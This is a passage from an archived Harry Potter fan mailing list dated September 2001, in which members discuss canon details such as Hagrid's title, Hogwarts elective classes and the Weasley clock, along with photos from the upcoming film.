> rule the world.  He says he wants to torture Muggles and Mudbloods.
> 
> 2)  Do YOU want to tell him that his word's worthless?  Hello, lily 
pad!

He was lying when he said that Hagrid raised werewolf cubs under his 
bed, and he was lying when he framed Hagrid as the one responsible 
for opening the Chamber.  Probably other times, too, but those are 
the only ones that come to mind right now.

RE Hagrid, Keeper of the Keys:  In my experience, the superintendent 
of a building or facility usually has keys or access to every part of 
the facility for maintenance purposes.  That's what I always thought 
was meant by being Keeper of the Keys.  In my mind, Keeper of the 
Keys implies responsibility for the buildings and grounds, and Game 
Keeper responsibility for the outlying areas, like the Forbidden 
Forest and the lake.  Make sense?

Susan




From rainy_lilac at yahoo.com  Sat Sep  8 21:05:24 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Sat, 08 Sep 2001 21:05:24 -0000
Subject: I've got a Sirius problem./VF article quote
In-Reply-To: <B7BFD76E.1391%john@walton.to>
Message-ID: <9ne16k+vest@eGroups.com>

No: HPFGUIDX 25780

--- In HPforGrownups at y..., John Walton <john at w...> wrote:
> Ebony said:
> 
> > This was the paragraph that got to me the most.  To have access to
> > all that information, as a fanfic writer!  All I'd need is one 
hour
> > with her notes... just one hour!
> 
> All we can hope for, m'dear, is that when she's done she really 
does make an
> HP Encyclopedia. Scholastic, are you listening? ::sweet smile::
> 


I think a great question for JKR would be to ask her to tell us a bit 
more about all those biographical details "that aren't important for 
the reader to know."

She seems tired of all those questions that she cannot answer because 
they would ruin the surprise-- wouldn't this be a nice change of 
pace? "Tell us something totally trivial..."


--Suzanne




From bramton1 at aol.com  Sat Sep  8 21:10:00 2001
From: bramton1 at aol.com (Sir Brad)
Date: Sat, 08 Sep 2001 21:10:00 -0000
Subject: Book 5?
Message-ID: <9ne1f8+l277@eGroups.com>

No: HPFGUIDX 25781

I saw an odd thing at my local 7-Eleven. It was ad advertisement on 
the door. It had a copyright of 2001, and the picture from the 
Prisoner of Azkaban on it. And just below the picture, it said "Look 
for the new Harry Potter book on September 11."

So here's the question...huh?

Would Rowling hide the release of Book 5 for some reason? Could it be 
the 7-Eleven was told to wait until October (meaning Sept 11) or so 
to put it up, and jumped the gun? I'm just really confused.

-Brad




From heidi.h.tandy.c92 at alumni.upenn.edu  Sat Sep  8 21:08:25 2001
From: heidi.h.tandy.c92 at alumni.upenn.edu (Tandy, Heidi)
Date: Sat, 8 Sep 2001 17:08:25 -0400 
Subject: [HPforGrownups] Book 5?
Message-ID: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2BEE@MIAEXCH1>

No: HPFGUIDX 25782

PoA will be released in paperback form on the 11th.
That's all.

-----Original Message-----
From: Sir Brad <bramton1 at aol.com>
To: HPforGrownups at yahoogroups.com <HPforGrownups at yahoogroups.com>
Sent: Sat Sep 08 17:10:00 2001
Subject: [HPforGrownups] Book 5?

Real-To:  "Sir Brad" <bramton1 at aol.com>

I saw an odd thing at my local 7-Eleven. It was ad advertisement on 
the door. It had a copyright of 2001, and the picture from the 
Prisoner of Azkaban on it. And just below the picture, it said "Look 
for the new Harry Potter book on September 11."

So here's the question...huh?

Would Rowling hide the release of Book 5 for some reason? Could it be 
the 7-Eleven was told to wait until October (meaning Sept 11) or so 
to put it up, and jumped the gun? I'm just really confused.

-Brad



_______ADMIN________HPFGU_______ADMIN__________

Attention everyone! Before posting, you must read our netiquette tips at
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTI
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From michelleapostolides at lineone.net  Sat Sep  8 21:12:05 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sat, 8 Sep 2001 22:12:05 +0100
Subject: [HPforGrownups] Book 5?
References: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2BEE@MIAEXCH1>
Message-ID: <038b01c138aa$e9e9e460$4b58063e@tmeltcds>

No: HPFGUIDX 25783

| PoA will be released in paperback form on the 11th.
| That's all.
You mean the US edition ? PoA has been out in paperback for a while in
the UK I think.

Michelle




From hermione at pigwidgeon.f9.co.uk  Sat Sep  8 21:19:09 2001
From: hermione at pigwidgeon.f9.co.uk (Hermione)
Date: Sat, 8 Sep 2001 22:19:09 +0100
Subject: [HPforGrownups] Book 5?
References: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2BEE@MIAEXCH1> <038b01c138aa$e9e9e460$4b58063e@tmeltcds>
Message-ID: <001101c138ab$ea3094e0$c500a8c0@mshome.net>

No: HPFGUIDX 25784

poa isn't the 5th book!!

----- Original Message -----
From: "Michelle Apostolides" <michelleapostolides at lineone.net>
To: <HPforGrownups at yahoogroups.com>
Sent: Saturday, September 08, 2001 10:12 PM
Subject: Re: [HPforGrownups] Book 5?


> | PoA will be released in paperback form on the 11th.
> | That's all.
> You mean the US edition ? PoA has been out in paperback for a while in
> the UK I think.
>
> Michelle
>
>
>
> _______ADMIN________HPFGU_______ADMIN__________
>
> Attention everyone! Before posting, you must read our netiquette tips at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTI
PS.htm
>
> You should also read the Very Frequently Asked Questions file (VFAQ) at
> http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm
and check out our FAQ-based essays at:
http://www.i2k.com/~svderark/lexicon/faq/
>
> For more details or help, contact your personal List Elf or the Moderator
Team at hpforgrownups-owner at yahoogroups.com.
>
> Want to leave this list? Email hpforgrownups-unsubscribe at yahoogroups.com
>
> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
>
>
>




From nausicaa at atlantic.net  Sat Sep  8 21:24:44 2001
From: nausicaa at atlantic.net (Jennifer)
Date: Sat, 08 Sep 2001 17:24:44 -0400
Subject: [HPforGrownups] Re: MOVIE: Vanity Fair October Issue (long)
References: <9n9efk+ft03@eGroups.com>
Message-ID: <3B9A8C9C.55685BD7@atlantic.net>

No: HPFGUIDX 25785

mellienel2 at yahoo.com wrote:
> 
> >
> > Dan as Harry is great. It's a cheesy grin, yes, but it's a *nice*
> cheesy
> > grin. I'm still not convinced about the scar not being centered on
> his
> > forehead, but there we are :D His hair is suitably messy in this
> picture,
> > I'm happy to say!
> 
> You know what I"m not convinced on? maybe we have a dermatologist who
> can clear this up...but if the scar stretched fromt he top of the
> forhead to the bottom when he was little, would it grow as he got
> older? Wuoldn't there be unblemished skin on top and bottom? Does
> scar tissue actually stretch?
> 
> I guess it will be att'd to magic.

I'm not a dermatologist, but my brother & I have had a few small facial
scars.  They move outwards and (especially if the scar is earned in
early childhood) tend to fade quite a bit...something like stretching so
that it doesn't really appear to be a scar, I think.  The movement tends
to go out from the nose for some reason -- chin scars disappear towards
the throat, nose scars move all over the place, forehead scars recede
into the hairline.  My scar was just over my eyebrow near my nose
originally (happened around 10 yrs old), but disappeared into my
hairline never to be seen again before I hit high school ('bout 4 years
later).

I don't remember about the scar covering so much to begin with, but it
does make some sense that it would fade to what it is.  Perhaps all
we're seeing of the original location is the part that was near his
nose?
-- 
Jenny K.

"We're all mad here. I'm mad. You're mad."
"How do you know I'm mad?" said Alice.
"You must be," said the Cat, "or you wouldn't have come here."



From catlady at wicca.net  Sat Sep  8 21:32:59 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Sat, 08 Sep 2001 21:32:59 -0000
Subject: Chat - Ron/Wizard Small Pets - Conjunctivitis - gamekeeper -  Encyclopedia
Message-ID: <9ne2qb+nepn@eGroups.com>

No: HPFGUIDX 25786

Good morning! (It's 1:51pm my time and I got up half an hour ago. How 
wonderful it is not to have children or a second job.)

As far as I know, tomorrow we are chatting in room grp*g.2176166:1 
like last week. See post #25425 on Main List for info on how to get 
there.

Saitaina wrote:

> My question is....why didn't Sirius think that Peter would 
> constantly be with Ron, as he was a pet rat and most wizards carry 
> their small pets with him  (ala Neville and Trevor)?  

Do we know that MOST wizards carry their small pets around with them? 
Neville does not strike me as a typical wizard, not even a typical 
wizard student. If most students don't carry their small pets around 
all the time, that would be a further indication of Ron's affection 
for Scabbers despite complaining all the time about him, further 
magifying Ron's betrayal by Wormtail, and also further showing Ron 
as capable of significant affection and mushiness even tho' he tries 
to hide it.

Susanna wrote:

> add the Conjunctivitus Curse he would have suggested 
> to Harry for getting past the Hungarian Horntail
> (I was going to suggest a Conjunctivitus curse, as a dragon's eyes 
> are its weakest point- GoF, p.363 UK hardcover ed.),
> which, according to what Ron tells Harry after the first task, is 
> none too pleasant.

I think Conjunctivitis Curse was simply the standard advice that 
any wizard with an OWL in (non-Hagrid) Magical Creatures would have 
given. It was what Krum did, and I assume that he was acting on the 
best advice that Karkaroff had been able to get for him. Not hurting 
the dragon (other than not destroying the eggs) wasn't one of the 
tournament rules, and it seems like everyone except Hagrid views the 
dragons as monsters, viewing injuring one to achieve a human goal in 
the same light as we view injuring the bathroom troll in self-defense 
or defense of a friend. The way the dragon wranglers handle them, 
with Stunning Spells and tying them down, not to mention putting them 
into this entirely unpleasant situation and putting their eggs at 
risk, is not a display of fondness.

Hermione Natalie (welcome!) wrote:

> Likewise, what does the games keeper mean??

He's the gamekeeper. 'Game' is wild animals that you hunt, so the 
gamekeeper is the servant who looks after the wild animals in the 
forest. 

John wrote:

> All we can hope for, m'dear, is that when she's done she really 
> does make an HP Encyclopedia. Scholastic, are you listening? 

Explain to them that they can publish it relatively cheaply on CD-rom 
-- or, better yet, find someone to give JKR a grant to pay for 
transcribing, hosting, etc, to post it on the Web.




From himitsu_seren at yahoo.ca  Sat Sep  8 21:54:05 2001
From: himitsu_seren at yahoo.ca (himitsu_seren at yahoo.ca)
Date: Sat, 08 Sep 2001 21:54:05 -0000
Subject: Newbie intro + Marauders' Houses
In-Reply-To: <9ndpeb+ddlv@eGroups.com>
Message-ID: <9ne41t+3icg@eGroups.com>

No: HPFGUIDX 25787

Hello, my name is Seren. For fear of sounding like someone in a 
support group, I'll keep this introduction as short as I can. I first 
got into Harry Potter about 6 months ago on a $50 bet that I'd hate 
them. Half a year later and $50 poorer, I realized that I was 
obsessed with the books and began reading fanfic to pass time. I'm 
also on the cassie_and_rhysenn list and the PoU list, because I love 
the stories, and I'm most relieved to know that I'm not the only 
adult who gets odd looks on the subway because she's reading 
a "children's" book.


Now, as for the Marauders' Houses. I agree that it would be much 
simpler for all four of them to be in Gryffindor, and I also 
originally assumed that they would be all in the same House. However, 
while James, Sirius, and Remus fit well in the Gryffindor profile, 
Peter, the double-crossing rat, didn't. I strongly believe that he 
was in Slytherin instead, and as for his close friendship with 
Gryffindors, I think that's entirely possible. After all, with the 
canon Slytherins, they're hardly the nicest people in the world. 
Perhaps Peter wanted "big friends" to look after him, as Sirius said 
in PoA, to help him defend himself against his own Housemates? 


-Seren





From klhurt at yahoo.com  Sat Sep  8 22:17:21 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 8 Sep 2001 15:17:21 -0700 (PDT)
Subject: Other Houses / Elective Classes
In-Reply-To: <9nc5s1+jinp@eGroups.com>
Message-ID: <20010908221721.29330.qmail@web14201.mail.yahoo.com>

No: HPFGUIDX 25788

--- caliburncy at yahoo.com wrote:

>It would be nice for JKR to give some
>more recognition to the Hufflepuff and
>Ravenclaw houses, but I can see where
>doing so would cause some minor
>logistical writing issues as well.

One of my (admittedly very few) disappointments with JKR's writing is
her not taking the wonderful opportunity of including other Houses in
the elective classes.  You would think, for example, there would be
students from all 4 classes in Divination class, but, alas, there
aren't.

Speaking of Elective classes, Hermione started her third year with 4
electives:  Divination, Muggle Studies, Arithmany, & Runes.  She
dropped the first two at the end of the year, saying she could them
have the a normal schedule.  That, plus the fact we are told Harry
signed up for the same classES as Ron, leads me to believe that
students take two electives in their third year.  So, what was Ron's &
Harry's second elective?

Kelly the Yarn Junkie

=====
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From klhurt at yahoo.com  Sat Sep  8 22:26:58 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 8 Sep 2001 15:26:58 -0700 (PDT)
Subject: [HPforGrownups] I've got a Sirius problem
In-Reply-To: <004501c1385a$59652ee0$084e28d1@oemcomputer>
Message-ID: <20010908222658.37613.qmail@web14203.mail.yahoo.com>

No: HPFGUIDX 25789

--- Saitaina <saitaina at wizzards.net> wrote:

>My question is....why didn't Sirius
>think that Peter would constantly be
>with Ron, as he was a pet rat and most
>wizards carry their small pets with
>him  (ala Neville and Trevor)? [SNIP]
>but that he kept trying for the
>Gryffindor tower instead of just
>watching Ron, grabbing him when he
>went to the loo in class (not what I
>meant but you understand) and removing
>Peter from him instead of all this run
>around with the fat lady and the
>annoying curtains...frustrates me to
>no ends.

With the exception of the journey to & from Hogwarts, Scabbers is never
seen outside Gryffindor tower (dorm & common room) until Hermione finds
him at Hagrid's in PoA.  Perhaps Crookshanks told him this as Sirius
said that the cat tried to bring Scabbers to him.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep  8 22:31:40 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 8 Sep 2001 15:31:40 -0700 (PDT)
Subject: Dorms
In-Reply-To: <Pine.GSO.4.21.0109082221100.24586-100000@polo.dd.chalmers.se>
Message-ID: <20010908223140.89521.qmail@web14204.mail.yahoo.com>

No: HPFGUIDX 25790

--- Lea Niiniskorpi <f95lean at dd.chalmers.se> wrote:

>Do Harry, Ron etc always sleep in the
>same dormitory, or do they change
>every year. Is there one dormitory for
>first year students where the first
>year's students of each year sleep
>etc.

Harry & the guys keep the same dorm room at the beginning of CoS -- no
book handy [note to self:  hold niece hostage 'til sister returns
books!] -- but I remember Harry noticing that the sign on the door had
changed to read Second Years.

Kelly the Yarn Junkie

=====
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From vderark at bccs.org  Sat Sep  8 22:40:00 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Sat, 08 Sep 2001 22:40:00 -0000
Subject: a note on the term "Marauders"
Message-ID: <9ne6o0+2mdt@eGroups.com>

No: HPFGUIDX 25791

I realize that this has been mentioned before, but I think it's worth 
a repeat. The term "Marauders" is used a lot by fans to refer to the 
group of friends which included James, Sirius, and Lupin. That's a 
convenient term and I sometimes use it myself. But that isn't canon; 
that group is never refered to by that name in the books. 

The term comes from the name of the map they created, which is 
the "Marauder's Map," singular, not "Marauders' Map," plural (note 
the position of the apostrophe). The word does not refer to the 
people who created it, but to the unnamed person who may be holding 
it and using it at any moment. A person would use the map to maraud 
around the school grounds, hence would be called a marauder. 

James and company are not "The Marauders" except to us fans. 

Steve Vander Ark
The Harry Potter Lexicon
http;//www.i2k.com/~svderark/lexicon




From himitsu_seren at yahoo.ca  Sat Sep  8 22:54:09 2001
From: himitsu_seren at yahoo.ca (himitsu_seren at yahoo.ca)
Date: Sat, 08 Sep 2001 22:54:09 -0000
Subject: Elective Classes
In-Reply-To: <20010908221721.29330.qmail@web14201.mail.yahoo.com>
Message-ID: <9ne7ih+a0me@eGroups.com>

No: HPFGUIDX 25792

> Speaking of Elective classes, Hermione started her third year with 4
> electives:  Divination, Muggle Studies, Arithmany, & Runes.  She
> dropped the first two at the end of the year, saying she could them
> have the a normal schedule.  That, plus the fact we are told Harry
> signed up for the same classES as Ron, leads me to believe that
> students take two electives in their third year.  So, what was 
Ron's &
> Harry's second elective?
> 
> Kelly the Yarn Junkie

Hmm, well, judging from his exam schedule, Harry and Ron took:

1. Transfiguration
2. Charms 
3. Care of Magical Creatures 
4. Potions
5. History of Magic
6. Astronomy
7. Herbology
8. DADA 
9. Divination

Since it's rather unlikely for them to have an odd number of classes, 
they might have taken a 10th class that they apparently don't have an 
exam for.

-seren






From usergoogol at yahoo.com  Sat Sep  8 23:04:39 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Sat, 08 Sep 2001 23:04:39 -0000
Subject: The Keeper of the Keys
In-Reply-To: <9ndtah+91bm@eGroups.com>
Message-ID: <9ne867+ei5o@eGroups.com>

No: HPFGUIDX 25793

--- In HPforGrownups at y..., prefectmarcus at y... wrote:
> What does that mean, exactly?  I don't recall Hagrid ever carrying 
> any keys.  If it is a ceremonial office, the only ceremonial function 
> he seems to perform is to take the first years across the lake at the 
> start of their first term, and deliver them to McGonagall at the 
> great doors.
> 
> Does anybody else have any further insights?
> 
> Marcus

That seems reasonable, actually. If he leads the first years into the school, it is possible that that title may be connected to that job.

Someone who possesses keys allows people to enter a building, and the "keeper of the keys," allows people to enter the building. Technically speaking, he merely lead them to it, but it is symbolic.

~User "Witty nickname" Googol~




From katzefan at yahoo.com  Sat Sep  8 23:20:40 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Sat, 08 Sep 2001 23:20:40 -0000
Subject: VF article
Message-ID: <9ne948+5l5v@eGroups.com>

No: HPFGUIDX 25794

Just got the VF photo spread - Nearly Headless Nick really *is* 
dreadful, and the Slytherin house ghost looks awfully jolly for 
someone whom even the other ghosts tend to avoid ... And I 
expected the Grey Lady to be wearing more medieval-style 
clothing, but that was just my first take on her.

One question: the final photo shows Ron sitting on one of the 
knights' horses on the giant chessboard - when I read the 
book, I got the impression H/R/H took the places of three chess 
pieces, which then moved completely off the board and just 
stood to one side. Did I get that wrong?

I don't recall if JKR ever really described Draco except to say he 
had a 'pale, pointed face' in Book 1. But I kinda like the pale hair 
and the pale face; he looks, somehow, like he's got more than a 
touch of vampire in his family tree.




From vheggie at yahoo.com  Sat Sep  8 23:29:13 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sat, 08 Sep 2001 23:29:13 -0000
Subject: Elective Classes
In-Reply-To: <9ne7ih+a0me@eGroups.com>
Message-ID: <9ne9k9+uit0@eGroups.com>

No: HPFGUIDX 25795

[snip]
> 
> Hmm, well, judging from his exam schedule, Harry and Ron took:
> 
> 1. Transfiguration
> 2. Charms 
> 3. Care of Magical Creatures 
> 4. Potions
> 5. History of Magic
> 6. Astronomy
> 7. Herbology
> 8. DADA 
> 9. Divination
> 
> Since it's rather unlikely for them to have an odd number of 
classes, 
> they might have taken a 10th class that they apparently don't have 
an 
> exam for.


The RL equivalent to OWLs in the UK are GCSEs [two year course with 
big exams at 16].  It's not unusual to take an odd number of these; 
in the UK, your qualifications are subject specific, rather than a 
general ability 'score', like a GPA.
9 GCSEs was the standard number for pupils at the school I attended 
at 16, and 9 qualifications definitely seemed to be the 'mode' number 
of GCSEs amongst my peers at university.
AFAIK most children get between 5 and 14 GCSEs - dependent on 
ability/interests.  If the figures in canon add up to 9, there's no 
real reason to 'round this up' to 10; any free time in their schedule 
could easily be filled with Prep lessons/'Free' periods [ie free time 
set aside for homework/smoking behind the bikesheds ;)] which is not 
unusual for 14 - 16 y.o in UK schools.




From vheggie at yahoo.com  Sat Sep  8 23:38:36 2001
From: vheggie at yahoo.com (vheggie at yahoo.com)
Date: Sat, 08 Sep 2001 23:38:36 -0000
Subject: The Keeper of the Keys
In-Reply-To: <9ndtah+91bm@eGroups.com>
Message-ID: <9nea5s+ngp7@eGroups.com>

No: HPFGUIDX 25796

"The Keeper of the Keys" is sometimes also called a "Concierge", from 
the French.  IIRC their job is to welcome and care for guests; 
originally in castles and mansions, and now, more commonly, in hotels.

Their job involves more than groundsmanship/security/symbolic door-
opening - they are also a personal assistant, or a provider of 
pastoral care.

As far as I can see, this suits Hagrid perfectly.




From mellienel2 at yahoo.com  Sun Sep  9 00:23:32 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Sun, 09 Sep 2001 00:23:32 -0000
Subject: VF article
In-Reply-To: <9ne948+5l5v@eGroups.com>
Message-ID: <9necq4+8met@eGroups.com>

No: HPFGUIDX 25797

 
> One question: the final photo shows Ron sitting on one of the 
> knights' horses on the giant chessboard - when I read the 
> book, I got the impression H/R/H took the places of three chess 
> pieces, which then moved completely off the board and just 
> stood to one side. Did I get that wrong?
>

I think it's that way in the book, bu tyou could just as easily 
imagine the actual bodies moving off - the actual knight off the 
horse - in the movie. He is taking someone's place -- the knight that 
left the horse's back (i think, anyway). In the trailer, you see a 
flash of him getting 'taken' -- instead of being punched, the horse 
explodes and you see him falling to the ground. 

I love that picture by the way. He looks so...little.


 
I don't recall if JKR ever really described Draco except to say he 
> had a 'pale, pointed face' in Book 1. But I kinda like the pale 
hair 
> and the pale face; he looks, somehow, like he's got more than a 
> touch of vampire in his family tree.

I know she said somewhere he has blond hair. I like it, it completes 
his whole patrician look.

m.




From aleksrothis at yahoo.co.uk  Sun Sep  9 00:24:45 2001
From: aleksrothis at yahoo.co.uk (Aleks)
Date: Sun, 09 Sep 2001 00:24:45 -0000
Subject: Elective Classes
In-Reply-To: <9ne9k9+uit0@eGroups.com>
Message-ID: <9necsd+iu4k@eGroups.com>

No: HPFGUIDX 25798

--- In HPforGrownups at y..., vheggie at y... wrote:
> [snip]
> > 
> > Hmm, well, judging from his exam schedule, Harry and Ron took:
> > 
> > 1. Transfiguration
> > 2. Charms 
> > 3. Care of Magical Creatures 
> > 4. Potions
> > 5. History of Magic
> > 6. Astronomy
> > 7. Herbology
> > 8. DADA 
> > 9. Divination
> > 
> > Since it's rather unlikely for them to have an odd number of 
> classes, 
> > they might have taken a 10th class that they apparently don't 
have 
> an 
> > exam for.
> 
> 
> The RL equivalent to OWLs in the UK are GCSEs [two year course with 
> big exams at 16].  It's not unusual to take an odd number of these; 
> in the UK, your qualifications are subject specific, rather than a 
> general ability 'score', like a GPA.
> 9 GCSEs was the standard number for pupils at the school I attended 
> at 16, and 9 qualifications definitely seemed to be the 'mode' 
number of GCSEs amongst my peers at university.
> AFAIK most children get between 5 and 14 GCSEs - dependent on 
> ability/interests.  If the figures in canon add up to 9, there's no 
> real reason to 'round this up' to 10; any free time in their 
schedule could easily be filled with Prep lessons/'Free' periods [ie 
free time set aside for homework/smoking behind the bikesheds ;)] 
which is not unusual for 14 - 16 y.o in UK schools.


I just wanted to add my personal experience to this which is probably 
closer to Hermione's schedule than Harry and Ron's. I attended a 
selective school where it was standard to take 11 GCSE's, tho' as 
vheggie pointed out, students could take up to 14. Also, going back 
to the original question I thought that Care of Magical Creatures was 
their other elective as when they were making their choices  in CoS 
(UK paperback p187) Percy says that, "My brother Charlie...went for 
Care of Magical Creatures."


Aleks
******************************************************************
"We kinda ignored the sign out front about being a school and hung 
around waiting to go beat people up." She said as she searched for a 
clean spoon. "Didn't study any when I was tagging around X-Factor 
either." 
 - Tabitha Smith, AKA Meltdown, 'Shockwave' by Sabia
******************************************************************





From mellienel2 at yahoo.com  Sun Sep  9 00:29:41 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Sun, 09 Sep 2001 00:29:41 -0000
Subject: VF article
In-Reply-To: <9necq4+8met@eGroups.com>
Message-ID: <9ned5l+df1c@eGroups.com>

No: HPFGUIDX 25799

--- In HPforGrownups at y..., mellienel2 at y... wrote:
>  
> > One question: the final photo shows Ron sitting on one of the 
> > knights' horses on the giant chessboard - when I read the 
> > book, I got the impression H/R/H took the places of three chess 
> > pieces, which then moved completely off the board and just 
> > stood to one side. Did I get that wrong?
> >
> 

ok, just looked at the trailer again. It looks like, in that scene 
wehre they walk onto the board, taht one of the knights on their side 
has a knight on a horse, and one is bareback. there's also a blank 
space and crushed stuff all over the sides...someone else played 
before they got there. Also, when the sword is thrown at Harry, you 
can see Hermione on the side, standing on her square. Come to think 
of it, Harry is also standing alone on a square. So yeah, I think 
that there was a knight Ron took the place of. 






From usergoogol at yahoo.com  Sun Sep  9 01:31:01 2001
From: usergoogol at yahoo.com (Maxwell Simpson)
Date: Sat,  8 Sep 2001 21:31:01 -0400
Subject: Fwd: About when Lupin almost attacked Snape
Message-ID: <t999999061.c2.u2100181149@d701902313.iopener.net>

No: HPFGUIDX 25800


(Note: this is intended to be sent to both Steve Vander Ark specifically, and the HP4GU group. It is about the Lexicon, but I felt that the group could benefit from this letter.)

Dear Steve, I have noticed that on your lexicon (specifically, Lupin's timeline) you do not give a definite date to the "When Lupin almost attacked Snape," incident. Maybe this is already noticed, but there is proof that should define it to a specific year (or maybe two.)

>"Sirius Black showed he was capable of murder at the age of six-
>-teen," [Snape] breathed. "You haven't forgotten that, Headmatser? You
>haven't forgotten that he once tried to kill me?"

(PoA21)

Therefore, since the "Marauders" are supposed to have been born in 1960, the "Sirius Black tells Snape to go after Lupin, and then James realizes that Sirius was being unbelievably stupid, and saves Snape," incident should occur in 1976 (or more accurately, the 1976-77 school year.)

Maybe this is already known, and maybe its already on the Lexicon (but not on Lupin's page) but if so, then at least this e-mail (which I hope to be sent to the group) should at least educate others.

--------- End Original Message ---------




From Schlobin at aol.com  Sun Sep  9 03:12:36 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Sun, 09 Sep 2001 03:12:36 -0000
Subject: MOVIE..Vanity Fair/fat Dudley
In-Reply-To: <9nadni+ej4r@eGroups.com>
Message-ID: <9nemn4+m3an@eGroups.com>

No: HPFGUIDX 25801

Wow, wow, wow..I can't wait for the movie..

I agree with Amy about Fang being an old softie, just like Hagrid (I 
noted that Robbie Coltrane consulted with JKR about his character and 
she said think about those huge menacing looking bikers who get off 
their bike and start talking about their garden). Fang would be the 
same.

I thought the ghosts were awesome! Great special effects..I love the 
fact that Professor Flitwick is so tiny...Hagrid with the lantern is 
amazing....I'm bubbling over with enthusiasm

yes, Dumbledore looks like a tired old man, which he is..but I think 
that if you hear him in the trailer saying "suffer a painful death" 
we'll realize that he will really rise to the role....

Susan





From Schlobin at aol.com  Sun Sep  9 03:17:29 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Sun, 09 Sep 2001 03:17:29 -0000
Subject: Fudge/Malfoy/Imperius
Message-ID: <9nen09+spag@eGroups.com>

No: HPFGUIDX 25802

A friend of mine brought up the idea that Cornelius Fudge might be
now or in the future controlled by Lucius Malfoy via the Imperius 
curse...

Thoughts?

Susan




From lily_solstar at hotmail.com  Sun Sep  9 03:37:41 2001
From: lily_solstar at hotmail.com (lily_solstar at hotmail.com)
Date: Sun, 09 Sep 2001 03:37:41 -0000
Subject: Clock in the wall at the Burrow - characters that women are crazy about
In-Reply-To: <20010905144259.38653.qmail@web11103.mail.yahoo.com>
Message-ID: <9neo65+831c@eGroups.com>

No: HPFGUIDX 25803

--- In HPforGrownups at y..., Maria <maryblue67 at y...> wrote:
> Snip<
> 
> In GoF, in chapter 10, when Harry is at the Burrow again
> after the World Cup, it says: "Mrs. Weasley glanced at the
> grandfather clock in the corner. Harry liked this clock..
> It was completely useless if you wanted to know the time,
> but otherwise very informative.It had  nine golden hands,
> and each of them was engraved with one of the Weasley
> family's names.There were no numerals around the face, but
> descriptions of where each family member might be. 'Home',
> 'School' and 'Work' were there, but there was also
> 'lost','hospital','prison' and, in the position where
> number 12 would be in a normal clock, 'mortal peril'."
>End Snip>

If the top position truely reads "mortal peril," then wouldn't the 
Weasleys have known in CoS that Ginny was in danger? I supose one 
could argue that she wasn't quite in *mortal* peril (i.e. she wasn't 
truely in danger of losing her life) during the times she performed 
tasked for Tom Riddle/Voldie. But in the ending scene, when Tom takes 
her down to the Chamber for the last time, surely her hand would have 
been on "mortal peril" then.

How oftem do the Weasleys glance at the clock?

And what about Ron? He's been in plenty of situations with Harry 
(encounter with Fluffy, huge spiders in forest, etc.). Or what about 
Charlie? Surely working with Dragons would be very dangerous.

It seems as thought that clock could worry a mother, especially such 
a mother as Mrs. Weasley, to death.

--Lily Solstar

PS After reading this over, I'm not entirly convinced this post has a 
point. I supose it's just one of my many observations and wonderings. 
Take care. :-)




From pigwidgeon37 at yahoo.it  Sun Sep  9 05:06:54 2001
From: pigwidgeon37 at yahoo.it (=?iso-8859-1?q?Susanne=20Schmid?=)
Date: Sun, 9 Sep 2001 07:06:54 +0200 (CEST)
Subject: [HPforGrownups] Fudge/Malfoy/Imperius
In-Reply-To: <9nen09+spag@eGroups.com>
Message-ID: <20010909050654.98288.qmail@web14703.mail.yahoo.com>

No: HPFGUIDX 25804

I think that Fudge is already controlled by Malfoy,
not by Imperius, but in another way, but this is part
of my fanfic and so I can't say it- damn!!!
Susanna/pigwidgeon37 



--- Schlobin at aol.com ha scritto: 
<HR>
<html><body>
<tt>
A friend of mine brought up the idea that Cornelius
Fudge might be<BR>
now or in the future controlled by Lucius Malfoy via
the Imperius <BR>
curse...<BR>
<BR>
Thoughts?<BR>
<BR>
Susan<BR>
<BR>
</tt>

<br>

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From crabtree at ktc.com  Sun Sep  9 05:09:56 2001
From: crabtree at ktc.com (Jo)
Date: Sun, 09 Sep 2001 05:09:56 -0000
Subject: Nickelodeon Article
Message-ID: <9netj4+p716@eGroups.com>

No: HPFGUIDX 25805

As I was unsuccesfully searching for the October Vanity Fair in San 
Antonio today, I came across the October Nickelodeon magazine.  It
has a (blue-eyed) photo of Daniel Radcliffe on the cover in his 
Hogwarts uniform.  I bought it thinking that my fifth graders would 
enjoy reading the article.  Driving the two hours back to Junction I 
risked life and limb to read the article as I drove home.  It is a 
brief (three page) interview with Daniel, Rupert, and Emma.  Most of 
the photos are very familiar. On the third page of the article there 
is one photo of Harry and Seamus (Seamus with a charred face) in 
Flitwick's class. On that page there is a question asked of Emma that 
bothered me. This is it:

Interviewer:
"Was there a scene that was particularly hard to do?"

Emma responds:
"Yes. Neville comes to me with his toad, Trevor, and says, "Do You 
want to kiss Trevor good night?" Every time he did this I burst into 
laughter.  I was supposed to give him an "I hate you" look, but I 
couldn't help myself. It took me about eight takes to get it."

O.K. I have to admit the L.O.O.N. in me is coming out, but what is
the purpose of adding this scene?  Someone mentioned a while back that 
on some longer version of the trailer, Hermione says some rude comment 
about Neville during the flying lesson.  I had a hard time believing 
it at the time, but I am wondering if they are going to make Hermione 
mean to Neville?  I have always felt like Hermione was more patient 
and thoughtful toward Neville's feelings that anyone.  Did I get the 
wrong impression from the text?

Has anyone else seen this article?

Professor J.C. Phlash  -  wringing her hands while fretting about 
never getting a copy of the Vanity Fair issue.




From joym999 at aol.com  Sun Sep  9 05:31:13 2001
